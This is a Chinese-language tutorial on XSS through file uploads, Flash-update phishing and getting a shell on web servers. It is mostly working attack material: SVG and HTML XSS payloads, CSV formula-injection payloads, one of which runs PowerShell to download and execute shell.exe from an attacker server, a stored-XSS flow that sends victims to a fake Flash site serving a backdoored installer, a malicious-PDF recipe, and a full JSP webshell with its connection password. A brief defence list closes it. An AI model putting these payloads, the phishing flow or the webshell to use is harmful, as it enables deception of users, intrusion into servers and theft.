XSS之Flash弹窗钓鱼和文件上传getshell各种姿势
字数 1237 2025-08-22 22:47:30
XSS之Flash弹窗钓鱼和文件上传getshell技术详解
0x1 漏洞基础原理
文件上传漏洞原理
- 利用form表单和类型为file的Input标签完成上传
- 表单数据编码格式必须设置为
multipart/form-data - 服务端处理程序解析文件类型与内容时存在缺陷
示例上传表单代码:
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="请选择文件"><br />
<input type="submit">
</form>
XSS(跨站脚本攻击)原理
- 攻击者在网页中插入恶意JavaScript代码
- 服务器对输入数据过滤和验证不严格
- 恶意代码被返回给客户端并执行
0x2 文件上传XSS的各种类型姿势
允许上传HTML或SVG文件
HTML文件XSS:
- 直接上传包含恶意JS代码的HTML文件
SVG文件XSS:
- SVG文件可以包含JavaScript代码
- 恶意SVG示例:
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="application/javascript">
alert('XSS Attack!');
</script>
<polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
检查思路:
- 创建恶意SVG文件
- 上传并访问该文件
- 观察是否执行弹窗
拓展:
- 如果存在导出功能(如SVG转PDF),可能利用SSRF
- 可尝试使用
file://协议验证
允许上传PDF文件
- 可能存在PDF XSS和任意URL跳转
- 通常浏览器层面的漏洞,厂商可能不认可
利用方法:
- 使用工具生成恶意PDF(如迅捷PDF编辑器)
- 如果后端使用wkhtmltopdf等组件,可利用file协议
- 利用CVE-2024-4367等漏洞实现PDF XSS
允许上传CSV文件
- 上传恶意CSV可能导致命令执行
- 恶意CSV Payload示例:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|'/C calc'!A0
=10+20+cmd|'/C calc'!A0
=cmd|'/C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
检查思路:
- 上传恶意CSV文件
- 下载该文件
- 观察特殊符号是否被处理,payload是否执行
0x3 XSS之Flash弹窗钓鱼技术
基础环境准备
- Flash网站克隆源码(如GitHub上的xss_flash项目)
- 生成后门并捆绑flash安装程序
- VPS服务器搭建伪造的flash网站
- 存在XSS漏洞的网站
具体钓鱼流程
- 在存在存储XSS的网站插入触发flash版本过低弹窗的JS代码:
<script src='本地用来弹flash版本过低的地址'></script>
- 修改version.js中弹窗指向伪造Flash网站地址:
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display = "none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href = "此处是伪造Flash网站地址";
- 伪造Flash网站的index.html示例:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Flash Test...</title>
<script src='此处存在XSS网站的VPS服务器地址'></script>
</head>
<body>
<h1>Flash Test...</h1>
</body>
</html>
- 受害者点击下载并安装捆绑后门的flash程序,攻击者获取shell
0x4 PDF木马制作技术
制作步骤
- 下载PDF编辑器(如迅捷PDF编辑器)
- 新建空白页面,点击属性添加JavaScript
- 写入恶意JS代码,如:
app.alert(618); - 保存PDF文件
- 寻找允许上传PDF并能解析的网站
- 上传制作的恶意PDF文件
0x5 文件上传getshell实战
上传HTML存储型XSS
- 找到文件上传点(如头像上传)
- 修改上传数据包:
------WebKitFormBoundary4KIO2hZ55xAhk62B
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<script>alert(1)</script>
------WebKitFormBoundary4KIO2hZ55xAhk62B--
- 访问上传的HTML文件触发XSS
文件上传getshell
- 确认网站使用Java框架
- 上传JSP Webshell:
<%@!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
- 使用蚁剑等工具连接(连接密码:passwd)
- 成功获取服务器权限
0x6 防御建议
- 严格过滤上传文件类型
- 对上传文件重命名
- 限制上传文件执行权限
- 对用户输入进行严格过滤和转义
- 使用CSP等安全策略限制脚本执行
- 及时更新和修补已知漏洞